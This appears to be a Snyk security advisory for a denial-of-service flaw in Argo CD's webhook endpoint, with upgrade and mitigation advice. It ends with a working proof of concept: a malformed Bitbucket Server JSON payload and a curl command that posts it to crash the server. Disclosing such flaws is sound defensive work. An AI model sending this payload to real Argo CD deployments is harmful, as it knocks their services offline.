Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade github.com/argoproj/argo-cd/v2/util/webhook
to version 2.14.20 or higher.
Affected versions of this package are vulnerable to Improper Check or Handling of Exceptional Conditions in the /api/webhook
endpoint. An attacker can cause the server to crash and disrupt service availability by sending a Bitbucket Server Push event with JSON field repository.links.clone
set to anything other than an array.
Note:
This is only exploitable if the default configuration is used where the webhook.bitbucketserver.secret
is not set.
This vulnerability can be mitigated by configuring a webhook secret to restrict access to trusted parties or by setting the secret to a long, random value to disable webhook handling for Bitbucket Server payloads.
Bitbucket Server payload:
{
"eventKey": "repo:refs_changed",
"repository": {
"name": "guestbook",
"fullName": "APP/guestbook",
"links": { "clone": "boom" }
},
"changes": [ { "ref": { "id": "refs/heads/master" } } ]
}
Push event:
curl -k -X POST https://argocd.example.com/api/webhook \
-H 'X-Event-Key: repo:refs_changed' \
-H 'Content-Type: application/json' \
--data-binary @payload-panic.json